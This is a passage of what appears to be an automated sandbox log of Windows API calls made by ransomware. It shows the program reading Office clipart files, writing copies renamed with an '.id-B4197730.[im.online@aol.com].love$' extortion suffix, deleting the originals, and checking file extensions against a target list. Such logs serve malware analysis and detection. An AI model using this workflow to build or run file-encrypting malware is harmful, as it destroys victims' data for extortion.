lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.515] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.516] SetEndOfFile (hFile=0x550) returned 1 [0275.516] CloseHandle (hObject=0x550) returned 1 [0275.516] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.516] SetEndOfFile (hFile=0x574) returned 1 [0275.520] CloseHandle (hObject=0x574) returned 1 [0275.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0275.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.523] lstrlenW (lpString=".doc") returned 4 [0275.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.523] lstrlenW (lpString=".docx") returned 5 [0275.523] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0275.523] lstrlenW (lpString=".pdf") returned 4 [0275.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.523] lstrlenW (lpString=".xls") returned 4 [0275.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.523] lstrlenW (lpString=".xlsx") returned 5 [0275.523] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0275.523] lstrlenW (lpString=".ppt") returned 4 [0275.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.524] lstrlenW (lpString=".zip") returned 4 [0275.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.524] lstrlenW (lpString=".rar") returned 4 [0275.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.524] lstrlenW (lpString=".bz2") returned 4 [0275.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.524] lstrlenW (lpString=".7z") returned 3 [0275.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.524] lstrlenW (lpString=".dbf") returned 4 [0275.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.524] lstrlenW (lpString=".1cd") returned 4 [0275.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.524] lstrlenW (lpString=".jpg") returned 4 [0275.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.524] lstrlenW (lpString=".doc") returned 4 [0275.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.524] lstrlenW (lpString=".docx") returned 5 [0275.525] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0275.525] lstrlenW (lpString=".pdf") returned 4 [0275.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.525] lstrlenW (lpString=".xls") returned 4 [0275.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.525] lstrlenW (lpString=".xlsx") returned 5 [0275.525] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0275.525] lstrlenW (lpString=".ppt") returned 4 [0275.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.525] lstrlenW (lpString=".zip") returned 4 [0275.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.525] lstrlenW (lpString=".rar") returned 4 [0275.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.525] lstrlenW (lpString=".bz2") returned 4 [0275.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.525] lstrlenW (lpString=".7z") returned 3 [0275.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.525] lstrlenW (lpString=".dbf") returned 4 [0275.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.525] lstrlenW (lpString=".1cd") returned 4 [0275.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0275.525] lstrlenW (lpString=".jpg") returned 4 [0275.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.525] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0275.526] lstrlenW (lpString="J0105390.WMF") returned 12 [0275.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0275.527] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4944) returned 1 [0275.527] CloseHandle (hObject=0x574) returned 1 [0275.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0275.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0275.528] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.528] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0275.529] GetLastError () returned 0x0 [0275.529] ReadFile (in: hFile=0x574, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1350, lpOverlapped=0x0) returned 1 [0275.550] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1360, lpOverlapped=0x0) returned 1 [0275.552] ReadFile (in: hFile=0x574, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.552] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.553] SetEndOfFile (hFile=0x550) returned 1 [0275.553] CloseHandle (hObject=0x550) returned 1 [0275.553] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.553] SetEndOfFile (hFile=0x574) returned 1 [0275.562] CloseHandle (hObject=0x574) returned 1 [0275.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0276.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.985] lstrlenW (lpString=".doc") returned 4 [0276.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.985] lstrlenW (lpString=".docx") returned 5 [0276.985] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0276.985] lstrlenW (lpString=".pdf") returned 4 [0276.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.985] lstrlenW (lpString=".xls") returned 4 [0276.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.985] lstrlenW (lpString=".xlsx") returned 5 [0276.985] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0276.985] lstrlenW (lpString=".ppt") returned 4 [0276.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.985] lstrlenW (lpString=".zip") returned 4 [0276.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.985] lstrlenW (lpString=".rar") returned 4 [0276.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.985] lstrlenW (lpString=".bz2") returned 4 [0276.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.986] lstrlenW (lpString=".7z") returned 3 [0276.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.986] lstrlenW (lpString=".dbf") returned 4 [0276.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.986] lstrlenW (lpString=".1cd") returned 4 [0276.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.986] lstrlenW (lpString=".jpg") returned 4 [0276.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.986] lstrlenW (lpString=".doc") returned 4 [0276.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.986] lstrlenW (lpString=".docx") returned 5 [0276.986] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0276.986] lstrlenW (lpString=".pdf") returned 4 [0276.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.986] lstrlenW (lpString=".xls") returned 4 [0276.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.986] lstrlenW (lpString=".xlsx") returned 5 [0276.986] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0276.987] lstrlenW (lpString=".ppt") returned 4 [0276.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.987] lstrlenW (lpString=".zip") returned 4 [0276.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.987] lstrlenW (lpString=".rar") returned 4 [0276.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.987] lstrlenW (lpString=".bz2") returned 4 [0276.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.987] lstrlenW (lpString=".7z") returned 3 [0276.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.987] lstrlenW (lpString=".dbf") returned 4 [0276.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.987] lstrlenW (lpString=".1cd") returned 4 [0276.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0276.987] lstrlenW (lpString=".jpg") returned 4 [0276.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.988] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0276.988] lstrlenW (lpString="J0105412.WMF") returned 12 [0276.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0276.990] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9400) returned 1 [0276.990] CloseHandle (hObject=0x4c8) returned 1 [0276.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0276.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0276.991] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.991] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0276.994] GetLastError () returned 0x0 [0276.994] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x24b8, lpOverlapped=0x0) returned 1 [0276.997] WriteFile (in: hFile=0x47c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x24c0, lpOverlapped=0x0) returned 1 [0276.999] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.999] WriteFile (in: hFile=0x47c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0276.999] SetEndOfFile (hFile=0x47c) returned 1 [0277.000] CloseHandle (hObject=0x47c) returned 1 [0277.000] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.000] SetEndOfFile (hFile=0x4c8) returned 1 [0277.004] CloseHandle (hObject=0x4c8) returned 1 [0277.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0277.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.007] lstrlenW (lpString=".doc") returned 4 [0277.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.007] lstrlenW (lpString=".docx") returned 5 [0277.007] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0277.007] lstrlenW (lpString=".pdf") returned 4 [0277.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.007] lstrlenW (lpString=".xls") returned 4 [0277.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.007] lstrlenW (lpString=".xlsx") returned 5 [0277.007] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0277.007] lstrlenW (lpString=".ppt") returned 4 [0277.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.007] lstrlenW (lpString=".zip") returned 4 [0277.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.007] lstrlenW (lpString=".rar") returned 4 [0277.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.007] lstrlenW (lpString=".bz2") returned 4 [0277.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.007] lstrlenW (lpString=".7z") returned 3 [0277.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.007] lstrlenW (lpString=".dbf") returned 4 [0277.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.008] lstrlenW (lpString=".1cd") returned 4 [0277.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.008] lstrlenW (lpString=".jpg") returned 4 [0277.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.008] lstrlenW (lpString=".doc") returned 4 [0277.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.008] lstrlenW (lpString=".docx") returned 5 [0277.008] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0277.008] lstrlenW (lpString=".pdf") returned 4 [0277.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.008] lstrlenW (lpString=".xls") returned 4 [0277.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.008] lstrlenW (lpString=".xlsx") returned 5 [0277.008] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0277.008] lstrlenW (lpString=".ppt") returned 4 [0277.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.008] lstrlenW (lpString=".zip") returned 4 [0277.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.008] lstrlenW (lpString=".rar") returned 4 [0277.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.009] lstrlenW (lpString=".bz2") returned 4 [0277.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.009] lstrlenW (lpString=".7z") returned 3 [0277.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.009] lstrlenW (lpString=".dbf") returned 4 [0277.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.009] lstrlenW (lpString=".1cd") returned 4 [0277.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0277.009] lstrlenW (lpString=".jpg") returned 4 [0277.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.009] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0277.009] lstrlenW (lpString="J0105414.WMF") returned 12 [0277.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0277.176] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6244) returned 1 [0277.176] CloseHandle (hObject=0x568) returned 1 [0277.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0277.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0277.177] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.177] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0277.178] GetLastError () returned 0x0 [0277.178] ReadFile (in: hFile=0x568, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1864, lpOverlapped=0x0) returned 1 [0278.699] WriteFile (in: hFile=0x4b0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1870, lpOverlapped=0x0) returned 1 [0278.700] ReadFile (in: hFile=0x568, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.700] WriteFile (in: hFile=0x4b0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.700] SetEndOfFile (hFile=0x4b0) returned 1 [0279.095] CloseHandle (hObject=0x4b0) returned 1 [0279.095] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 